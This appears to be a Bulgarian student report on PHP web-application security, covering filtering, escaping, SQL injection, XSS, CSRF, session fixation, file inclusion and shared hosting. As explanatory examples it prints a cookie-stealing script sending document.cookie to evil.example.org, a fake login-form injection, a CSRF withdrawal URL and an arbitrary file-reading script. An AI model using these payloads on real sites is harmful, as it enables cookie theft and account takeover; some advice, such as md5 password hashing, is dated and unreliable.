SlideShare a Scribd company logo
1 of 23
Download to read offline
Икономически университет - Варна



                   Реферат
                     по
Безопасност и защита на Мicrosoft мрежи
             и приложения
              на тема:
    Защита при създаване на PHP-
       приложения в Интернет




изготвил:
Диян Маринов Начев
специалност: ПИНФ-ДОВО                 проверил:
з.о. VII-ми курс                Доц. д-р Стефан Дражев
фак.№: 5876
Съдържание

1. Основни правила и практики за защита    4

2. Формуляри и URL                         7

3. Бази данни и SQL                       11

4. Сесии и бисквитки (cookies)            12

5. Допълнителни елементи на кода          14

6. Системни команди                       16

7. Автентификация и упълномощаване        17

8. Споделен хостинг                       19

9. Примери                                20
Неприятен страничен ефект от бързото разрастване на Интернет е ,че
безопасността на личния ни и професионален живот е изложена на риск.
Колкото по-свързан става светът, толкова по-проблемна става сигурността.
Най-критични са самите уеб сървъри, които взаимодействат директно с
потребителите, обменят данни, извършват финансови транзакции и др. PHP е
един от най-популярните езици за уеб разработки. Проблемите със
сигурността при разработването на уеб приложения с PHP произтичат основно
от неговото неправилно и незащитено използване от разработчиците

     Всеки разработчик прави грешки, които в един момент могат да доведат
до пробив в сигурността. Елементът display_errors може да бъде
настроен чрез стойностите stderr и stdout , които указват съответно
дали грешките да бъдат скривани или показвани на клиента. Показването на
грешките заедно със стандартния изход може да се използва при разработва -
нето на приложенията, но никога на онлайн работещи сървъри, понеже
детайлизираната информация, която се предоставя, може да бъде видяна от
злонамерен потребител. Въпреки това при настроен изход на stderr,
грешките могат да бъдат докладвани на място недостъпно за потребителите
чрез log_errors = On/Off и error_log = location, както и
нивото на докладване на грешките чрез error_reporting(E_ALL –
всички грешки) функцията. Всяко поведение при докладването на грешки
може да се модифицира на всяко ниво, така че ако приложението е на обща
хост-машина или на друго място, където промените в php.ini файла са
невъзможни, тези настройки могат да се зададат чрез следния код:

<?php

 ini_set(‘error_reporting’,E_ALL);
 ini_set(‘display_errors’,’stderr’);
 ini_set(‘log_errors’,’On’);
 ini_set(‘error_log’,’usr/local/apache/logs/error_log’);

?>

Трябва да се има в предвид обаче, че при наличие на фатални грешки този код
няма да бъде изпълнен. PHP предлага и функцията
set_error_handler(my_error_handler), с която да се дефинират
собствени функции за работа с грешки.
Основни правила и практики за защита
     Защитата в дълбочина е добре познато правило сред професионалистите
в областта на защитата. Изразява се в разработването на резервна защита.
Въпреки че основната защита трябва да не се проваля, един резервен план
може да се окаже определящ в критична ситуация. Например повторно
удостоверяване на самоличността преди извършване на критични действия
може да възпрепятства неудостоверен потребител представящ се, по някакъв
начин, за друг потребител да извърши неоторизирани действия.
      Най-малка привилегия означава да не се дават ненужни привилегии на
потребителите, като по този начин се минимизира риска и се повишава
сигурността. Минимизирането на риска е ключов компонент при разработва-
нето на защитени приложения.
      Простото е красиво. Сложността поражда грешки, а грешките могат да
създадат слабости в сигурността. Поради тази причина простотата е важна
характеристика на едно защитено приложение. Ненужната сложност е ненужен
риск.
      Намаляване на публичното показване се изразява в следене на данните
изложени на показ при комуникациите към клиенти и бази данни. Основната
среда за публично излагане на данните е Интернет поради неговата
общодостъпност. Публичното излагане на данни не винаги представлява риск,
въпреки това трябва да бъде сведено до минимум. Ако например потребител
въвежда платежна информация трябва да се използва SSL, за да се защитят
данните от кредитната карта докато пътуват от клиента до сървъра. Ако се
визуализира номера на кредитната карта на страница за потвърждение, тя също
трябва да се защити със SSL понеже това означава, че номера се връща
обратно към клиента. В този случай номера може да не бъде изцяло
визуализиран, като се показва само част от него или се използва друг подход.
За да се минимизира публичното показване на деликатни данни, първо трябва
да се определи кои данни са деликатни, след което да се следят и елиминира
всеки ненужен показ.
      Балансиране на риска и използваемостта е установена практика, която
изсква да се обмислят незаконните и легитимните употреби на приложението
от потребителите. Подходящият баланс може да бъде постигнат, като се
използват прозрачни за потребителите защити или такива, които са им добре
познати и не представляват особено неудобство за тях. Осигуряването на
потребителско име и парола за достъп например е защита, с която повечето
потребители са свикнали.
      Следенето на данни - какви са, къде се намират, от къде идват и къде
отиват е нужно за всеки разработчик на PHP приложения, за да бъдат те
максимално защитени в интернет средата. Суперглобални масиви като
$_GET, $_POST и $_COOKIE ясно разпознават входящата информация от
потребителя, а строго установената практика за именуване помага за следенето
на оригинала на всички данни в кода. Важно е също да се знае къде данните
излизат от приложението. При използване на echo например данните се
изпращат на клиента, а при използване на mysql_query(), данните се
изпращат към базата данни дори когато целта на заявката е извличане на
данни.
     Филтрирането на входяща информация е един от основните процеси при
защитата на уеб приложенията. Чрез него се доказва валидността на данните и
по този начин се елиминира риска от използване на неправилни данни, на
които неоснователно се има доверие. Филтрирането на входящата информация
се състои от три стъпки - идентифициране, филтриране и разграничаване на
филтрирани от замърсени данни. Под входяща информация се има предвид
всички данни, които възникват на отдалечен източник. Данните от клиента са
лесни за разпознаване понеже се запазват в суперглобални масиви като $_GET
и $_POST. Друга входяща информация обаче може да бъде по-трудна за
разпознаване. Например $_SERVER съдържа елементи, които могат да се
обработват от клиента и не винаги е лесно да се определи кои от тях
представляват входяща информация затова е най-добре да се приеме целият
масив за входяща информация. В други случаи това, което се определя като
входяща информация, може да бъде въпрос на лично мнение на разработчика,
в зависимост от това къде предпочита тя да бъде съхранявана – на отдалечен
източник или в част от приложението.
     След идентифицирането на информацията, невалидните данни трябва да
бъдат спрени, като за това могат да бъдат използвани разнообразни подходи.
Най-сигурен начин е данните да бъдат проверявани без да се правят опити те
да бъдат коригирани. Потребителите трябва да могат да въвеждат само
валидни данни, в противен случай е възможен пробив в сигурността.
     Последната стъпка е да се използва процедура за именуване или друга
установена практика за надеждно разграничаване на филтрираните от
замърсените данни. Например всички филтрирани данни могат да бъдат
съхранявани в масив $clean като този масив винаги се инициализира празен
и като допълнение може да се забранят всички променливи със същото
наименование от отдалечени източници. След проверка дали данните от
$_POST например са каквито очакваме, те се прехвърлят в $clean и така те
могат да бъдат използвани на други места в приложението.
Декодирането на изходяща информация се извършва по същия начин
като при филтрирането – идентифициране, декодиране и различаване на
декодираните данни от тези, които не са. Важно е да се декодират само
филтрирани данни. За да се разпознае изходящата информация към клиента се
търсят низове като echo, print, printf, <?= в кода.
     За декодирането на информация предназначена за най-често срещаното
направление – клиента, съществува вградената функция htmlentities(),
която взима низ и връща на клиента модифицираната му версия.
     За да се различат декодираните от недекодираните данни е желателно да
се използва процедура за именуване. За данни, които ще се изпращат на
клиента процедурата е подобна на тази при филтрирането. Декодираните с
htmlentities() данни се съхраняват в масив $html, който се
инициализира празен и може да съдържа само филтрирани и декодирани
данни.

<?php

     $html = array( );
     $html[‘username’] = htmlentities($clean[‘username’]);
     echo “<p>Welcome back, {$html[‘username’]} </p> ”;

?>

Чрез използване на $html[‘username’], при изпращането на името на
клиента можем да сме сигурни, че специалните символи не се обработват от
браузъра.
     Друга популярна дестинация е базата данни. За MySql най-добрата
декодираща функция е mysql_real_escape_string(), като принципът
на използване е същия.
Формуляри и URL

    Формуляри и данни

     Формулярите осигуряват описание на приложението, като посочват с
какви данни работи то. Данните от формуляри могат да бъдат изпратени до
приложението чрез URL(метода GET например) или в съдържанието на
заявката(POST). Когато е използван методът GET, браузърът изпраща данните
(потребител и парола например) от формуляра, както URL низът за заявка:

GET /login.php?username=user&password=pass HTTP/1.1
Host: example.org

След предоставяне на формуляра за обработка, браузърът е пренасочен на
http://example.org/login.php?username=user&password=pass

Когато във формулярът е използван метода POST, данните не се съдържат в
низа за заявка на URL адреса, а в съдържанието на заявката:

POST /login.php HTTP/1.1
Host: example.org
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

username=user&password=pass


    Семантични атаки на URL

     Повечето приложения за регистрация имат и механизъм за промяна на
забравена парола. Обикновено се използва въпрос и отговор дефинирани при
регистрацията на потребителя. Следният формуляр изисква от потребителя
алтернативен електронен адрес, а името на сметката се идентифицира в скрита
променлива на формуляра:
<form action="reset.php" method="GET">
<input type="hidden" name="user" value="user" />
<p>Please specify the email address where you want your
new password sent:</p>
<input type="text" name="email" /><br />
<input type="submit" value="Send Password" />
</form>

Скриптът reset.php има цялата информация, необходима за
възстановяване на паролата и изпращане на писмо с име на акаунта, на който
да бъде възстановена паролата, и електронния адрес, на който да се изпрати
новата парола. Ако потребителят отговори правилно на въпроса, той се смята
за легитимен притежател на акаунта и при въвеждане на алтернативен
електронен адрес, например user@example.org, ще бъде препратен на следния
URL адрес: http://example.org/reset.php?user=user&email=user@example.org
Понеже във формулярът е използван метода GET, този потребител може да
промени стойността на потребителя в заявката, например user=dido, и ако
reset.php има доверие на тези данни, новата парола ще бъде генерирана от
акаунта на dido и изпратена на user@example.org, позволявайки на user да
присвои акаунта на dido. Това може да се избегне лесно, ако се използват
сесии за съхранение:

<?php
    session_start();
    $clean = array();
    $email_pattern = '/^[^@s<&>]+@([-a-z0-9]+.)+[a-
z]{2,}$/i';
    if (preg_match($email_pattern, $_POST['email']))
{
    $clean['email'] = $_POST['email'];
    $user = $_SESSION['user'];
    $new_password = md5(uniqid(rand(), TRUE));
    if ($_SESSION['verified'])
{
/* Update Password */
    mail($clean['email'], 'Your New Password',
$new_password);
}
}
?>
Атаки при качване на файлове

       Предоставянето на възможност за качване на файлове на сървъра от
потребителите е широко разпространено, но представлява още един проблем
за сигурността.
       Обикновен формуляр за качване на файл се състои от HTML и PHP код.
HTML формуляра се предоставя на клиента, а PHP скрипта обработва
качването. Когато PHP получи POST заявка ще създаде временен файл с
произволно име и ще попълни глобалната променлива $_FILE с информация
за качения файл – име, тип, размер, временното име. Функцията
move_uploaded_file() ще премести този файл на посочено от
потребителя място. Ако то е под root директорията, файлът ще може да бъде
извикан чрез URL заявка. При липса на ограничения за типа на качваните
файлове, той може да бъде PHP или .NET със злонамерен код.
Възможно е обаче, дори при дефинирани ограничения за типове файлове,
разработчика да бъде излъган от типа на файла предоставен от $_FILE,
понеже тази информация идва от клиента, а в случай че нарушител използва
друго приложение способно да изпраща HTTP-POST заявки, типа може да
бъде фалшифициран. Най-добрите практики за защита са:
   - Да се дефинира .htaccess файл с правила за разрешени файлови разширения
    - .htaccess трябва да бъде в родителска директория спрямо качените файлове
   - Съществуващите файлове не трябва да могат да бъдат заменяни с нови
   - Не трябва да се разчита на валидизация на типа само от клиентска страна.

     Cross-site криптиране (XSS)

     Всяко уеб приложение, което визуализира входяща информация е
изложено на риск от XSS атака. За да бъде защитено едно такова приложение
то трябва правилно да филтрира и декодира тази информация. В противен
случай е възможно въвеждането от нарушител в едно поле за търсене
например:

<br><br>Please login with the form below before
proceeding:<form action="destination.php">
<table><tr><td>Login:</td>
<td><input type=text length=20 name=login></td></tr>
<tr><td>Password:</td><td><input type=text length=20
name=password></td></tr></table><input type=submit
value=LOGIN></form>
което при отваряне от друг потребител би довело до показване на фалшив
формуляр за попълване на данни за автентификация, както и при евентуално
попълване от страна на потребителя - тяхното изпращане на място указано от
нарушителя.
     XSS атаките са най-общо три вида:
     Директни: Атакуващият предоставя връзка или друг вид „маскиран“ код
към клиента. Когато клиента последва такава връзка той попада на
оригиналният уебсайт на дадената услуга, но вече с модифициран от
атакуващия код. Възможно е и възползването от уязвимост на софтуера, с
който жертвата преглежда подаденото му съобщение, с цел атакуващия да
добие достъп до неговата административна част. Директните атаки се
реализират най-често чрез изпращане на писма по електронната поща към
жертвата или чрез съобщения в различни чат приложения.
     Статични: Атакуващият успява да вмъкне нежелания код в база данни и
само изчаква жертвата сама да отвори уязвимата страница. Това са най-честите
атаки при т.нар. социални мрежи – форуми, блогове, дискусионни групи, и т.н.
     DOM: Това са XSS атаки от т.нар. локално ниво. Обикновено се използва
уязвимост в скрипт на продукта, чрез който самият софтуер да предизвика
директна XSS атака към жертвата.
Почти няма приложение в Интернет, което да няма или да не е имало XSS
уязвимост. В днешно време, с навлизането на все повече технологии като
Action Script на Flash или AJAX скриптовете, XSS атаките все повече добиват
популярност. На практика всички тези проблеми се зараждат в момента, когато
сървърите придобиват функционалност за директно изпълнение на код при
клиента (напр. Javascript).

     Cross-site фалшификати на заявки (CSRF)

     CSRF фалшификатът на заявка е вид атака, която позволява на един
нарушител да изпраща произволни HTTP заявки от името на жертвата. Понеже
заявката се изпраща от жертвата, а не от нарушителя, е много трудно да се
определи кога една заявка е CSRF атака. За разлика от XSS, където браузърът
се доверява на сайт с инжектиран скрипт, в този случай сайтът се доверява на
браузър, чиято заявка е модифицирана от трето лице. Това може да бъде
направено чрез вграден източник като изображение. Ако например в един сайт
има вградено изображение по този начин – <img
src="http://bank.example.com/withdraw?account=Victim&amo
unt=1000000&for=Hacker"> или линк във форум-<a
href="http://bank.example.com/withdraw?account=Victim&am
ount=1000000&for=Hacker”> , и банката на жертвата пази данните за
автентификация в бисквитка, то изискването на този ресурс от клиентски
браузър би довело до извършване на транзакция към сметка на нарушителя.
Разбира се има много препятствия пред един нарушител за да извърши такава
атака. Той трябва да уцели правилно входните данни и ако използваният от
банката метод е $_POST или има скрити идентификационни данни включени в
заявката, които нападателя няма как да знае, тази атака ще пропадне.




                           Бази данни и SQL

     Открита информация за достъп

     Една от основните грижи при използването на бази данни е разкриването
на информацията за достъп. Потребителското име и парола могат да се
съхраняват в отделен файл db.inc например:

<?php

$db_user = 'myuser';
$db_pass = 'mypass';
$db_host = '127.0.0.1';
$db = mysql_connect($db_host, $db_user, $db_pass);

?>

Понеже Apache няма определен специален тип на съдържането асоцииран с
.inc файлове, ако db.inc се намира под главната директория, ще бъде възможно
извикването на неговото съдържание като обикновен текст, чрез URL заявка.
Например http://www.example.com/db.inc . По тази причина такива файлове
могат да се намират на друго място и да бъдат включвани или изисквани чрез
include и require. Може също да се настрои Apache сървърът да
отхвърля заявки за .inc ресурси:

<Files ~ ".inc$">
    Order allow,deny
    Deny from all
</Files>
SQL инжектиране

     SQL инжектирането е една от най-често срещаните уязвимости в PHP
приложенията. Това се дължи на провал от страна на разработчика при
филтрирането и декодирането на данните от и към базата данни. Като начало
една защита може да бъде изпозлването на имена във формуляра,
несъответстващи на колони от базата данни, тъй като един нарушител може да
разгледа HTML сорса и да добие представа за структурата на базата данни.
Още по-надеждна защита е подправянето на потребителската парола с низ,
който е уникален за приложението:

<?php

$salt = 'SHIFLETT';
$password_hash = md5($salt . md5($_POST['password'] .
$salt));

?>

     Използването на mysql_erorr() e полезно при разработката, но при
въвеждане на кавичка за име и mypass за парола например, върнатата грешка
може да разкрие съществена информация, както за структурата на базата
данни, така и за начина на филтриране и декодиране на данните.
     Ако се използва библиотека, която предлага ограничителни параметри
или символи, които могат да се заменят с други от списък (PEAR::DB, PDO)
това ще бъде допълнителна защита, тъй като данните няма да могат директно
да манипулират формата на заявката.

                          Сесии и бисквитки

    Кражба на бисквитка може да се осъществи чрез XSS атака. В един
обикновен формуляр за въвеждане на коментар от потребител

<form action="comment.php" method="POST" />
<p>Name: <input type="text" name="name" /><br />
Comment: <textarea name="comment" rows="10"
cols="60"></textarea><br />
<input type="submit" value="Add Comment" /></p>
</form>
и comment.php

<?php

     echo "<p>$name writes:<br />";
     echo "<blockquote>$comment</blockquote></p>";

?>

може да бъде въведен от потребител следният скрипт:

<script>
document.location =
'http://evil.example.org/steal.php?cookies=' +
document.cookie
</script>

което практически означава, че този потребител е добавил код към
приложението, карайки останалите потребители неволно да изпращат своите
бисквитки на evil.example.org където steal.php ще има достъп до
тях. Това лесно може да бъде избегнато ако са спазени описаните, в първа
точка, основни правила за филтриране и декодиране на информацията.

     Открити данни от сесия

     Активирането на SSL е практичен и полезен начин за намаляване на
риска от разкриване на данните, които се обменят между клиента и сървъра, и
това особено много важи за приложения, които обменят секретни данни с
клиента. SSL осигурява ниво на сигурност над HTTP, така че цялата
информация в HTTP заявките и отговорите да бъде защитена. Самият сесиен
склад може да бъде криптиран така, че сесийните данни да не могат да се
прочетат без ключ. В PHP това може да се направи чрез
session_set_save_handler() и написване на собствен склад за
съхраненние на сесии и функции, кодиращи сесийните данни за съхранение и
декодиращи тези за четене.

     Фиксирани сесии

     Важно значение по отношение на сесиите има секретният характер на
сесийния идентификатор. Ако той се пази в тайна, не съществува практически
риск от отвличане на сесия. Има три основни метода, чрез които нарушител
може да се сдобие с валиден идентификатор - предсказване, улавяне,
фиксиране. PHP генерира случаен идентификатор, така че предсказването му
не представлява практичеки риск. Улавянето му е по-често срещано затова
намаляването на публичното излагане чрез SSL намалява този риск.
Фиксирането на сесии е вид атака, която подмамва потърпевшия да използва
сесиен идентификатор посочен от нарушителя например:

<a
href="http://example.org/index.php?PHPSESSID=1234">Click
Here</a>
или пренасочване на протоколно ниво
<?php
header('Location:
http://example.org/index.php?PHPSESSID=1234');
?>

Ако атаката е успешна, нарушителят ще избегне необходимостта от
предвиждане или улавяне на валиден сесиен идентификатор и ще може да
стартира още по-опасни атаки. Това може да бъде предотвратено чрез
session_regenerate_id() и подновяване на идентификатора веки път
при промяна на нивото на привилегия:

<?php
    $_SESSION['logged_in'] = FALSE;
    if (check_login())
{
    session_regenerate_id();
    $_SESSION['logged_in'] = TRUE;
}
?>


                  Допълнителни елементи на кода
     Основна грижа, що се отнася до допълнителните елементи на кода, е
публичното излагане на сорс кода. Това до голяма степен се дължи на
следните често срещани ситуации:
   - Допълнителните елементи използват разширение .inc
   - Допълнителните елементи се съхраняват в главната директория.
- Apache не може да разбере какъв тип ресурс представлява даден файл с
      разширение .inc
   - Apache има DefaultType(тип по подразбиране) text/plain.
При това положение допълнителните елементи могат да бъдат достъпни чрез
URL адрес. Освен това те не са анализирани синтактично от PHP, а се третират
като обикновен текст, което води до визуализиране на сорс кода в браузъра на
потребителя.
     Възможно е също използването на скрити URL адреси след
автентификация например:
<?php

     $authenticated = FALSE;
     $authenticated = check_auth();
     /* ... */
     if ($authenticated)
     {
         include './sensitive.php';
     }
?>
Поради това, че sensitive.php се намира в главната директория, той може да
бъде отворен директно от браузър и без автентификация, чрез извикване на
неговия URL адрес.
     Много ситуации изискват употребата на допълнителни динамични
елементи на кода, където част от пътя до файла или името му се съхраняват в
променлива:

<?php

     include "/cache/{$_GET['username']}.html";

?>

Въпреки че този подход си има предимства, той предоставя перфектна
възможност нарушителят да избере кой от кешираните файлове да бъде
визуализиран чрез промяна на username в URL адреса:

http://example.org/index.php?username=filename

     Друга опасна ситуация е използването на замърсени данни като главна
част от една динамична структура:
<?php

     include "{$_GET['path']}/header.inc";

?>

Благодарение на allow_url_fopen елемента на PHP, който е активиран по
подразбиране, могат да се добавят ресурси различни от файлове:

<?php

     include 'http://www.google.com/';

?>

Ако този сайт беше на нарушител, щеше да е възможно добавянето на .inc
файл например.
     За да защитим едно от показаните по горе ситуации, допълнителните
елементи на кода трябва да се съхраняват извън главната директория и да се
използват само филтрирани данни в операторите include и require.

                           Системни команди
     Използването на системни команди е опасно действие и това важи най-
вече в случаите, когато се използва отдалечена информация, за да се
конструира командата за изпълнение.

<?php

     $last = exec('ls', $output, $return);
     print_r($output);
     echo "Return [$return]";

?>

Ако при конструиране на низа за изпълнение на командата се използват
замърсени данни, нарушителят може да изпълни произволни команди.
 По тази причина използването на shell команди не се препоръчва, но в случай
че това се налага, данните за конструиране на низа за изпълнение трябва да са
филтрирани и изхода винаги декодиран:
<?php

     $clean = array();
     $shell = array();

     /*   Филтриране на входа ($command, $argument) */

$shell['command'] = escapeshellcmd($clean['command']);
$shell['argument'] = escapeshellarg($clean['argument']);
$last = exec("{$shell['command']} {$shell['argument']}",
$output, $return);

?>

                Автентификация и упълномощаване

     Атака на грубата сила

     При атаката на грубата сила се проверяват всички възможности за
автентификация, без да се анализира кои от тях са най-вероятни – изброяват се
всички възможности. От гледна точка на контрола за достъп при такава атака,
нарушителят опитва да се регистрира, правейки много голям брой опити. В
повечето случаи се използват валидни потребителски имена и единственото,
което се отгатва, е паролата. Ограничаването на броя на опитите за
автентификация е достатъчно ефективна защита, но нарушителят трябва да
бъде идентифициран без да се навреди на легитимните потребители.

     Проследяване на паролата

     Използването на SSL е ефективен начин за защита на HTTP заявките и
техните отговори от публично разкриване, в случай че трафикът е наблюдаван
от нарушител. Един защитен формуляр би изглеждал по следния начин:
<form action="https://example.org/login.php" method="POST">
<p>Username: <input type="text" name="username" /></p>
<p>Password: <input type="password" name="password" /></p>
<p><input type="submit" /></p>
</form>
Атаки на повторенията

     Атаката на повторенията, която понякога се нарича атака на
представянето, представлява всяка атака, при която нарушителят препраща
данни, които преди това са били изпратени от потребителя, за да си осигури
достъп или други привилегиии, които този потребител притежава. За да се
защити приложението от такава атака, трябва да се затрудни нарушителя при
прихващане на данни, които могат да се използват за достъп до защитени
ресурси. За целта трябва да се избягва употребата на такива данни, както и да
се ограничи публичното им излагане.

     Постоянни регистрации

     Постоянната регистрация е механизъм, при който автентификацията
между сесиите на браузъра остава постоянна. С други думи, потребител, който
се регистрира днес и остава регистриран и на следващия ден, дори ако срокът
между сесиите му е изтекъл. Този метод повишава производителността, но
намалява сигурността. Това е така защото се използва бисквитка за постоянна
регистрация. За да се предотврати публичното излагане на потребителско име
и парола в бисквитката, вместо тях могат да се използват втори идентификатор
(identifier), признак за постоянна регистрация(token) и време за
прекъсване на постоянна регистрация(timeout). Чрез генериране и
съхраняване на втори идентификатор заедно с признака може да се създаде
бисквитка, която не издава информацията за автентификация на потребителя:

<?php

     $salt = 'SHIFLETT';
     $identifier = md5($salt . md5($username . $salt));
     $token = md5(uniqid(rand(), TRUE));
     $timeout = time() + 60 * 60 * 24 * 7;
     setcookie('auth', "$identifier:$token", $timeout);

?>
Додбре е срокът на бисквитката да изтича след седмица или по-малко, да
работи само за една автентификация, след което да се изтрива или регенерира.
Друго полезно указание е да се изисква парола всеки път преди да бъде
извършено важно действие.
Споделен хостинг

     Публично разкриване на сорс код

     Ако един сайт се намира на споделен сървър, обикновен PHP скрипт,
написан от друг разработчик на сървъра може да чете произволни файлове:
<?php

     header('Content-Type: text/plain');
     readfile($_GET['file']);

?>
Чрез малко по-сложен скрипт може да бъде разгледана цялата файлова система
Най-добрата практика в такъв случай е всички деликатни данни да се пазят в
база данни. Разбира се тук изниква въпроса къде да се пазят данните за достъп
до базата данни. Освен съхраняването на такъв файл извън главната
директория, той трябва да има права за четене само от администратора и да
има следния формат:
SetEnv DB_USER "myuser"
SetEnv DB_PASS "mypass"
По такъв начин информацията за достъп до базата данни ефективно се
предпазва от злонамерен скрипт. Този файл следва да бъде добавен от
httpd.conf чрез Include "/path/to/db.conf". По този начин
родителския процес на Apache може да прочете конфигурационния файл
понеже работи като root, докато дъщерният, изпълняващ заявките, не може. В
PHP има директива наречена save_mode. Ако е активирана, се прави
допълнителна проверка, дали даден файл, върху който ще се оперира, е на
същия притежател като скрипта, който ще бъде изпълнен. Това обаче не се
отнася до скриптове написани на други езици или скриптове създадени от
други скриптове, които автоматично стават притежание на сървъра и
получават достъп до неговите файлове.
      За да бъде максимално защитено едно PHP приложение, освен основната
защита, трябва да бъде обмислена и защита в дълбочина, взимайки предвид
всички възможни ситуации, дори и ако тяхното възникване е малко вероятно.
Сравниетлно нова защита е целият код на уеб сайта да се криптира с помоща
инструменти като HTML Guardian, PHPCipher и много други, като по този
начин се предотвратяват голяма част от посочените заплахи.
Примери:
Източници:

http://php.net/manual
http://xssattackexamples.com/
http://www.acunetix.com/websitesecurity/xss/
http://en.wikipedia.org/wiki/Cross-site_request_forgery
http://www.acunetix.com/websitesecurity/upload-forms-threat/
http://cms-bg.com/topic/6517-xss-%D0%B0%D1%82%D0%B0%D0%BA%D0%B0/

Essential PHP Security By Chris Shiflett

More Related Content

Viewers also liked

Recycling waste materials
Recycling waste materialsRecycling waste materials
Recycling waste materialsNevil Nos
 
Torque on a coil
Torque on a coilTorque on a coil
Torque on a coilTqa Amer
 
Museum education buckingham 23.01.13
Museum education buckingham 23.01.13Museum education buckingham 23.01.13
Museum education buckingham 23.01.13annefay
 
Aspek aspek keselamatan kerja dalam membubut
Aspek aspek keselamatan kerja dalam membubutAspek aspek keselamatan kerja dalam membubut
Aspek aspek keselamatan kerja dalam membubutTresna Hikmawan
 
Dfw 2013 ppt 01
Dfw 2013 ppt 01Dfw 2013 ppt 01
Dfw 2013 ppt 01Six Angels
 

Viewers also liked (9)

Recycling waste materials
Recycling waste materialsRecycling waste materials
Recycling waste materials
 
Torque on a coil
Torque on a coilTorque on a coil
Torque on a coil
 
Bc1
Bc1Bc1
Bc1
 
Museum education buckingham 23.01.13
Museum education buckingham 23.01.13Museum education buckingham 23.01.13
Museum education buckingham 23.01.13
 
Aspek aspek keselamatan kerja dalam membubut
Aspek aspek keselamatan kerja dalam membubutAspek aspek keselamatan kerja dalam membubut
Aspek aspek keselamatan kerja dalam membubut
 
Dfw 2013 ppt 01
Dfw 2013 ppt 01Dfw 2013 ppt 01
Dfw 2013 ppt 01
 
DINASTI AYYUBIYAH FIKRAN8SBU
DINASTI AYYUBIYAH FIKRAN8SBUDINASTI AYYUBIYAH FIKRAN8SBU
DINASTI AYYUBIYAH FIKRAN8SBU
 
Mtnl ppt
Mtnl pptMtnl ppt
Mtnl ppt
 
Mtnl ppt
Mtnl pptMtnl ppt
Mtnl ppt
 

Similar to Php sec referat

API Authentication
API AuthenticationAPI Authentication
API Authenticationpetya_st
 
Защита при създаване на PHP-приложения в Интернет
Защита при създаване на PHP-приложения в ИнтернетЗащита при създаване на PHP-приложения в Интернет
Защита при създаване на PHP-приложения в ИнтернетВалентин Атанасов
 
Php security
Php securityPhp security
Php securityphristov
 
Kursova 116679
Kursova 116679Kursova 116679
Kursova 116679superazo
 
Безопасност и защита на VPN
Безопасност и защита на VPNБезопасност и защита на VPN
Безопасност и защита на VPNEma Angelova
 
Api автентификация и безопасност и защита на web
Api автентификация и безопасност и защита на webApi автентификация и безопасност и защита на web
Api автентификация и безопасност и защита на webPoli Petkova
 
Svetlin Nakov - Mobile Code Security
Svetlin Nakov - Mobile Code SecuritySvetlin Nakov - Mobile Code Security
Svetlin Nakov - Mobile Code SecuritySvetlin Nakov
 
Методи и средства за филтриране на трафика в Lan мрежи
Методи и средства за филтриране на трафика в Lan мрежиМетоди и средства за филтриране на трафика в Lan мрежи
Методи и средства за филтриране на трафика в Lan мрежиDido Viktorov
 
Сигурност и права за достъп в уеб приложения изработени с работната рамка Yii
Сигурност и права за достъп в уеб приложения изработени с работната рамка YiiСигурност и права за достъп в уеб приложения изработени с работната рамка Yii
Сигурност и права за достъп в уеб приложения изработени с работната рамка YiiIlko Kacharov
 
Bezopasnost i za6tita_na_web_prolojenia
Bezopasnost i za6tita_na_web_prolojeniaBezopasnost i za6tita_na_web_prolojenia
Bezopasnost i za6tita_na_web_prolojeniaMartin Kenarov
 
FOSS Information Security Practices @OpenFest 07.11.2015
FOSS Information Security Practices @OpenFest 07.11.2015FOSS Information Security Practices @OpenFest 07.11.2015
FOSS Information Security Practices @OpenFest 07.11.2015Code Runners
 
Drupal security lecture
Drupal security lectureDrupal security lecture
Drupal security lectureslide9991
 

Similar to Php sec referat (20)

Open Free Security Software
Open Free Security SoftwareOpen Free Security Software
Open Free Security Software
 
API Authentication
API AuthenticationAPI Authentication
API Authentication
 
Drupal Security
Drupal SecurityDrupal Security
Drupal Security
 
Защита при създаване на PHP-приложения в Интернет
Защита при създаване на PHP-приложения в ИнтернетЗащита при създаване на PHP-приложения в Интернет
Защита при създаване на PHP-приложения в Интернет
 
Web Applications Security
Web Applications Security Web Applications Security
Web Applications Security
 
Php security
Php securityPhp security
Php security
 
5494 n nikolov_zashtita
5494 n nikolov_zashtita5494 n nikolov_zashtita
5494 n nikolov_zashtita
 
Kursova 116679
Kursova 116679Kursova 116679
Kursova 116679
 
Netsec
NetsecNetsec
Netsec
 
86101
8610186101
86101
 
средства за защита на данни
средства за защита на даннисредства за защита на данни
средства за защита на данни
 
Безопасност и защита на VPN
Безопасност и защита на VPNБезопасност и защита на VPN
Безопасност и защита на VPN
 
Api автентификация и безопасност и защита на web
Api автентификация и безопасност и защита на webApi автентификация и безопасност и защита на web
Api автентификация и безопасност и защита на web
 
Svetlin Nakov - Mobile Code Security
Svetlin Nakov - Mobile Code SecuritySvetlin Nakov - Mobile Code Security
Svetlin Nakov - Mobile Code Security
 
Методи и средства за филтриране на трафика в Lan мрежи
Методи и средства за филтриране на трафика в Lan мрежиМетоди и средства за филтриране на трафика в Lan мрежи
Методи и средства за филтриране на трафика в Lan мрежи
 
Сигурност и права за достъп в уеб приложения изработени с работната рамка Yii
Сигурност и права за достъп в уеб приложения изработени с работната рамка YiiСигурност и права за достъп в уеб приложения изработени с работната рамка Yii
Сигурност и права за достъп в уеб приложения изработени с работната рамка Yii
 
Bezopasnost i za6tita_na_web_prolojenia
Bezopasnost i za6tita_na_web_prolojeniaBezopasnost i za6tita_na_web_prolojenia
Bezopasnost i za6tita_na_web_prolojenia
 
FOSS Information Security Practices @OpenFest 07.11.2015
FOSS Information Security Practices @OpenFest 07.11.2015FOSS Information Security Practices @OpenFest 07.11.2015
FOSS Information Security Practices @OpenFest 07.11.2015
 
Drupal security lecture
Drupal security lectureDrupal security lecture
Drupal security lecture
 
Лекция първа Security
Лекция първа SecurityЛекция първа Security
Лекция първа Security
 

Php sec referat

  • 1. Икономически университет - Варна Реферат по Безопасност и защита на Мicrosoft мрежи и приложения на тема: Защита при създаване на PHP- приложения в Интернет изготвил: Диян Маринов Начев специалност: ПИНФ-ДОВО проверил: з.о. VII-ми курс Доц. д-р Стефан Дражев фак.№: 5876
  • 2. Съдържание 1. Основни правила и практики за защита 4 2. Формуляри и URL 7 3. Бази данни и SQL 11 4. Сесии и бисквитки (cookies) 12 5. Допълнителни елементи на кода 14 6. Системни команди 16 7. Автентификация и упълномощаване 17 8. Споделен хостинг 19 9. Примери 20
